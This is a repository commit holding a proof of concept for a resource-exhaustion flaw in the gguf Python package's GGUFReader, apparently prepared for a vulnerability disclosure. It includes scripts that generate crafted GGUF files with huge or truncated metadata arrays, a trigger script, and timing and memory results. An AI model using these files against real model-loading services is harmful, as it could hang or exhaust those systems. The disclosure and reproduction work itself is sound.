Upload folder using huggingface_hub

.gitattributes

@@ -33,3 +33,4 @@ saved_model/**/* filter=lfs diff=lfs merge=lfs -text
 *.zip filter=lfs diff=lfs merge=lfs -text
 *.zst filter=lfs diff=lfs merge=lfs -text
 *tfevents* filter=lfs diff=lfs merge=lfs -text
+artifacts/valid_uint8_array_250000.gguf filter=lfs diff=lfs merge=lfs -text

README.md

@@ -0,0 +1,86 @@
+# GGUF Python Reader Metadata Array DoS PoC
+
+This repository contains benign GGUF metadata-only files that reproduce resource-exhaustion behavior in the official `gguf` Python package.
+
+## Summary
+
+`gguf.GGUFReader` parses GGUF array metadata by recursing once per array element and appending one numpy view per element. A small GGUF file with a valid `UINT8` metadata array therefore causes disproportionate CPU and memory use during model metadata loading. A truncated GGUF that declares an extremely large array length also makes the parser keep iterating without advancing because reads past EOF return empty numpy views.
+
+No file here contains executable code, tensor weights, network callbacks, persistence, credential access, or destructive behavior. The marker string is `GGUF_ARRAY_DOS_BENIGN_MARKER`.
+
+## Tested Versions
+
+- Python 3.13.13 on Windows
+- `gguf==0.19.0`
+- `numpy==2.4.4`
+- llama.cpp source inspected at `78fbbc2c0788efc8857a2c0dc9802ec689fa12c1`
+
+Install command:
+
+```bash
+python -m venv .venv
+.venv/Scripts/python -m pip install -r requirements.txt
+```
+
+On Linux/macOS, use `.venv/bin/python` instead of `.venv/Scripts/python`.
+
+## Reproduce
+
+Generate fresh artifacts:
+
+```bash
+.venv/Scripts/python make_gguf_array_pocs.py --out artifacts --valid-count 50000
+```
+
+Run the trigger with a timeout-isolated child process:
+
+```bash
+.venv/Scripts/python trigger_gguf_array_dos.py artifacts/baseline_small_array.gguf artifacts/valid_uint8_array_50000.gguf artifacts/truncated_huge_uint8_array.gguf --timeout 8
+```
+
+Expected result:
+
+- `baseline_small_array.gguf` parses quickly.
+- `valid_uint8_array_50000.gguf` is only about 50 KB but creates 50,005 field parts and tens of MB of Python allocations.
+- `truncated_huge_uint8_array.gguf` is 140 bytes and times out rather than failing fast.
+
+## Included Evidence
+
+`array_dos_results_versioned.json`:
+
+- Baseline 141-byte file: `elapsed_sec=0.0009319999990111683`, `tracemalloc_peak_bytes=28813`
+- Valid 50,131-byte file: `elapsed_sec=1.5484974999999395`, `tracemalloc_peak_bytes=35335086`
+- Truncated 140-byte file: timed out at 8 seconds
+
+`array_dos_results_with_memory.json`:
+
+- Valid 250,131-byte file: `elapsed_sec=12.744927899999311`, `tracemalloc_peak_bytes=176169251`
+
+## Artifact Hashes
+
+- `artifacts/baseline_small_array.gguf`: `ef66b68d7d9f9690c1c6c27380c5349f435af7ba1d7aebb0dc47cda33f69b12c`
+- `artifacts/valid_uint8_array_50000.gguf`: `ead20680b54f62ac1da0cea39fc5f0dc4e0a6ae5e7b0b6b07b22007b7b389e62`
+- `artifacts/valid_uint8_array_250000.gguf`: `530cd494fdaf6485f5d29cc90e0bdd54328c7aa41d50dd16cb4c77ec2697e77e`
+- `artifacts/truncated_huge_uint8_array.gguf`: `fd98c113e14b2d0212043da98ee1c3cfb369823d99bc41e143fd14bda1390254`
+
+## Vulnerable Code Path
+
+In `gguf/gguf_reader.py`, `_get_field_parts()` reads `alen` from the file and then loops over every element:
+
+```python
+for idx in range(alen[0]):
+    curr_size, curr_parts, curr_idxs, curr_types = self._get_field_parts(offs, raw_itype[0])
+    aparts += curr_parts
+    data_idxs += (idx + idxs_offs for idx in curr_idxs)
+    offs += curr_size
+```
+
+There is no file-size bound check or bulk scalar-array read. For truncated files, `_get()` returns empty arrays, `curr_size` stays `0`, and the loop continues.
+
+## Upload Command
+
+If authenticated:
+
+```bash
+huggingface-cli upload YOUR_USERNAME/gguf-python-array-dos-poc C:/Users/Pragnyan/dev/huntr-exp1/ggml/hf_ggml_poc . --repo-type model
+```

array_dos_results_versioned.json

@@ -0,0 +1,46 @@
+[
+  {
+    "path": "lab\\artifacts\\baseline_small_array.gguf",
+    "timeout_sec": 8.0,
+    "wall_sec": 0.3960464999981923,
+    "returncode": 0,
+    "stdout": "{\"gguf\": \"0.19.0\", \"numpy\": \"2.4.4\", \"elapsed_sec\": 0.0009319999990111683, \"tracemalloc_peak_bytes\": 28813, \"field_count\": 5, \"array_key\": \"huntr.small_array\", \"array_part_count\": 21, \"array_data_indexes\": 16}",
+    "stderr_tail": "",
+    "parsed": {
+      "gguf": "0.19.0",
+      "numpy": "2.4.4",
+      "elapsed_sec": 0.0009319999990111683,
+      "tracemalloc_peak_bytes": 28813,
+      "field_count": 5,
+      "array_key": "huntr.small_array",
+      "array_part_count": 21,
+      "array_data_indexes": 16
+    }
+  },
+  {
+    "path": "lab\\artifacts_50k\\valid_uint8_array_50000.gguf",
+    "timeout_sec": 8.0,
+    "wall_sec": 1.9691593999996257,
+    "returncode": 0,
+    "stdout": "{\"gguf\": \"0.19.0\", \"numpy\": \"2.4.4\", \"elapsed_sec\": 1.5484974999999395, \"tracemalloc_peak_bytes\": 35335086, \"field_count\": 5, \"array_key\": \"huntr.valid_uint8_array\", \"array_part_count\": 50005, \"array_data_indexes\": 50000}",
+    "stderr_tail": "",
+    "parsed": {
+      "gguf": "0.19.0",
+      "numpy": "2.4.4",
+      "elapsed_sec": 1.5484974999999395,
+      "tracemalloc_peak_bytes": 35335086,
+      "field_count": 5,
+      "array_key": "huntr.valid_uint8_array",
+      "array_part_count": 50005,
+      "array_data_indexes": 50000
+    }
+  },
+  {
+    "path": "lab\\artifacts\\truncated_huge_uint8_array.gguf",
+    "timeout_sec": 8.0,
+    "timed_out": true,
+    "wall_sec": 8.020367699999042,
+    "stdout": "",
+    "stderr_tail": ""
+  }
+]

array_dos_results_with_memory.json

@@ -0,0 +1,82 @@
+[
+  {
+    "path": "lab\\artifacts\\baseline_small_array.gguf",
+    "timeout_sec": 30.0,
+    "wall_sec": 0.47702859999844804,
+    "returncode": 0,
+    "stdout": "{\"gguf\": \"unknown\", \"numpy\": \"2.4.4\", \"elapsed_sec\": 0.0018849999978556298, \"tracemalloc_peak_bytes\": 28768, \"field_count\": 5, \"array_key\": \"huntr.small_array\", \"array_part_count\": 21, \"array_data_indexes\": 16}",
+    "stderr_tail": "",
+    "parsed": {
+      "gguf": "unknown",
+      "numpy": "2.4.4",
+      "elapsed_sec": 0.0018849999978556298,
+      "tracemalloc_peak_bytes": 28768,
+      "field_count": 5,
+      "array_key": "huntr.small_array",
+      "array_part_count": 21,
+      "array_data_indexes": 16
+    }
+  },
+  {
+    "path": "lab\\artifacts_50k\\valid_uint8_array_50000.gguf",
+    "timeout_sec": 30.0,
+    "wall_sec": 2.80793629999971,
+    "returncode": 0,
+    "stdout": "{\"gguf\": \"unknown\", \"numpy\": \"2.4.4\", \"elapsed_sec\": 2.2086056000007375, \"tracemalloc_peak_bytes\": 35335086, \"field_count\": 5, \"array_key\": \"huntr.valid_uint8_array\", \"array_part_count\": 50005, \"array_data_indexes\": 50000}",
+    "stderr_tail": "",
+    "parsed": {
+      "gguf": "unknown",
+      "numpy": "2.4.4",
+      "elapsed_sec": 2.2086056000007375,
+      "tracemalloc_peak_bytes": 35335086,
+      "field_count": 5,
+      "array_key": "huntr.valid_uint8_array",
+      "array_part_count": 50005,
+      "array_data_indexes": 50000
+    }
+  },
+  {
+    "path": "lab\\artifacts_100k\\valid_uint8_array_100000.gguf",
+    "timeout_sec": 30.0,
+    "wall_sec": 5.2035122999986925,
+    "returncode": 0,
+    "stdout": "{\"gguf\": \"unknown\", \"numpy\": \"2.4.4\", \"elapsed_sec\": 4.476508499999909, \"tracemalloc_peak_bytes\": 70404912, \"field_count\": 5, \"array_key\": \"huntr.valid_uint8_array\", \"array_part_count\": 100005, \"array_data_indexes\": 100000}",
+    "stderr_tail": "",
+    "parsed": {
+      "gguf": "unknown",
+      "numpy": "2.4.4",
+      "elapsed_sec": 4.476508499999909,
+      "tracemalloc_peak_bytes": 70404912,
+      "field_count": 5,
+      "array_key": "huntr.valid_uint8_array",
+      "array_part_count": 100005,
+      "array_data_indexes": 100000
+    }
+  },
+  {
+    "path": "lab\\artifacts\\valid_uint8_array_250000.gguf",
+    "timeout_sec": 30.0,
+    "wall_sec": 13.607695599999715,
+    "returncode": 0,
+    "stdout": "{\"gguf\": \"unknown\", \"numpy\": \"2.4.4\", \"elapsed_sec\": 12.744927899999311, \"tracemalloc_peak_bytes\": 176169251, \"field_count\": 5, \"array_key\": \"huntr.valid_uint8_array\", \"array_part_count\": 250005, \"array_data_indexes\": 250000}",
+    "stderr_tail": "",
+    "parsed": {
+      "gguf": "unknown",
+      "numpy": "2.4.4",
+      "elapsed_sec": 12.744927899999311,
+      "tracemalloc_peak_bytes": 176169251,
+      "field_count": 5,
+      "array_key": "huntr.valid_uint8_array",
+      "array_part_count": 250005,
+      "array_data_indexes": 250000
+    }
+  },
+  {
+    "path": "lab\\artifacts\\truncated_huge_uint8_array.gguf",
+    "timeout_sec": 30.0,
+    "timed_out": true,
+    "wall_sec": 30.04099270000006,
+    "stdout": "",
+    "stderr_tail": ""
+  }
+]

artifacts/valid_uint8_array_250000.gguf

@@ -0,0 +1,3 @@
+version https://git-lfs.github.com/spec/v1
+oid sha256:530cd494fdaf6485f5d29cc90e0bdd54328c7aa41d50dd16cb4c77ec2697e77e
+size 250131

make_gguf_array_pocs.py

@@ -0,0 +1,79 @@
+#!/usr/bin/env python3
+"""Generate benign GGUF metadata-only parser stress files.
+
+The files contain no executable payload and no tensor data. They only exercise
+GGUF metadata array parsing in gguf.GGUFReader.
+"""
+
+from __future__ import annotations
+
+import argparse
+import hashlib
+import struct
+from pathlib import Path
+
+
+GGUF_TYPE_UINT8 = 0
+GGUF_TYPE_STRING = 8
+GGUF_TYPE_ARRAY = 9
+
+
+def pack_str(value: bytes) -> bytes:
+    return struct.pack("<Q", len(value)) + value
+
+
+def kv_string(key: str, value: str) -> bytes:
+    return (
+        pack_str(key.encode("utf-8"))
+        + struct.pack("<I", GGUF_TYPE_STRING)
+        + pack_str(value.encode("utf-8"))
+    )
+
+
+def kv_uint8_array(key: str, n: int, include_data: bool) -> bytes:
+    data = b"\x41" * n if include_data else b""
+    return (
+        pack_str(key.encode("utf-8"))
+        + struct.pack("<I", GGUF_TYPE_ARRAY)
+        + struct.pack("<I", GGUF_TYPE_UINT8)
+        + struct.pack("<Q", n)
+        + data
+    )
+
+
+def gguf(kvs: list[bytes]) -> bytes:
+    return b"GGUF" + struct.pack("<IQQ", 3, 0, len(kvs)) + b"".join(kvs)
+
+
+def write_file(path: Path, content: bytes) -> None:
+    path.write_bytes(content)
+    digest = hashlib.sha256(content).hexdigest()
+    print(f"{path.name}\t{len(content)} bytes\tsha256={digest}")
+
+
+def main() -> None:
+    parser = argparse.ArgumentParser()
+    parser.add_argument("--out", type=Path, default=Path("artifacts"))
+    parser.add_argument("--valid-count", type=int, default=250_000)
+    parser.add_argument("--huge-count", type=int, default=1 << 40)
+    args = parser.parse_args()
+
+    args.out.mkdir(parents=True, exist_ok=True)
+
+    marker = kv_string("huntr.marker", "GGUF_ARRAY_DOS_BENIGN_MARKER")
+    write_file(
+        args.out / "baseline_small_array.gguf",
+        gguf([marker, kv_uint8_array("huntr.small_array", 16, include_data=True)]),
+    )
+    write_file(
+        args.out / f"valid_uint8_array_{args.valid_count}.gguf",
+        gguf([marker, kv_uint8_array("huntr.valid_uint8_array", args.valid_count, include_data=True)]),
+    )
+    write_file(
+        args.out / "truncated_huge_uint8_array.gguf",
+        gguf([marker, kv_uint8_array("huntr.truncated_huge_uint8_array", args.huge_count, include_data=False)]),
+    )
+
+
+if __name__ == "__main__":
+    main()

requirements.txt

@@ -0,0 +1,2 @@
+gguf==0.19.0
+numpy==2.4.4

trigger_gguf_array_dos.py

@@ -0,0 +1,101 @@
+#!/usr/bin/env python3
+"""Trigger script for benign GGUFReader array parsing behavior.
+
+Runs each parse in a child process so a no-progress parse can be timed out
+without destabilizing the caller.
+"""
+
+from __future__ import annotations
+
+import argparse
+import json
+import subprocess
+import sys
+import textwrap
+import time
+from pathlib import Path
+
+
+PARSE_CODE = r"""
+import json
+import sys
+import time
+from importlib.metadata import version
+
+import gguf
+import numpy as np
+import tracemalloc
+
+tracemalloc.start()
+start = time.perf_counter()
+reader = gguf.GGUFReader(sys.argv[1], "r")
+elapsed = time.perf_counter() - start
+current, peak = tracemalloc.get_traced_memory()
+array_field = None
+for key, field in reader.fields.items():
+    if key.startswith("huntr.") and key.endswith("array"):
+        array_field = field
+        break
+print(json.dumps({
+    "gguf": version("gguf"),
+    "numpy": np.__version__,
+    "elapsed_sec": elapsed,
+    "tracemalloc_peak_bytes": peak,
+    "field_count": len(reader.fields),
+    "array_key": array_field.name if array_field else None,
+    "array_part_count": len(array_field.parts) if array_field else None,
+    "array_data_indexes": len(array_field.data) if array_field else None,
+}))
+"""
+
+
+def run_one(path: Path, timeout: float) -> dict[str, object]:
+    start = time.perf_counter()
+    try:
+        proc = subprocess.run(
+            [sys.executable, "-c", PARSE_CODE, str(path)],
+            text=True,
+            capture_output=True,
+            timeout=timeout,
+            check=False,
+        )
+        elapsed = time.perf_counter() - start
+        result: dict[str, object] = {
+            "path": str(path),
+            "timeout_sec": timeout,
+            "wall_sec": elapsed,
+            "returncode": proc.returncode,
+            "stdout": proc.stdout.strip(),
+            "stderr_tail": proc.stderr.strip()[-1000:],
+        }
+        if proc.stdout.strip().startswith("{"):
+            result["parsed"] = json.loads(proc.stdout)
+        return result
+    except subprocess.TimeoutExpired as exc:
+        return {
+            "path": str(path),
+            "timeout_sec": timeout,
+            "timed_out": True,
+            "wall_sec": time.perf_counter() - start,
+            "stdout": (exc.stdout or "").strip() if isinstance(exc.stdout, str) else "",
+            "stderr_tail": (exc.stderr or "").strip()[-1000:] if isinstance(exc.stderr, str) else "",
+        }
+
+
+def main() -> None:
+    parser = argparse.ArgumentParser()
+    parser.add_argument("paths", nargs="+", type=Path)
+    parser.add_argument("--timeout", type=float, default=5.0)
+    parser.add_argument("--out", type=Path)
+    args = parser.parse_args()
+
+    results = [run_one(path, args.timeout) for path in args.paths]
+    rendered = json.dumps(results, indent=2)
+    print(rendered)
+    if args.out:
+        args.out.parent.mkdir(parents=True, exist_ok=True)
+        args.out.write_text(rendered + "\n", encoding="utf-8")
+
+
+if __name__ == "__main__":
+    main()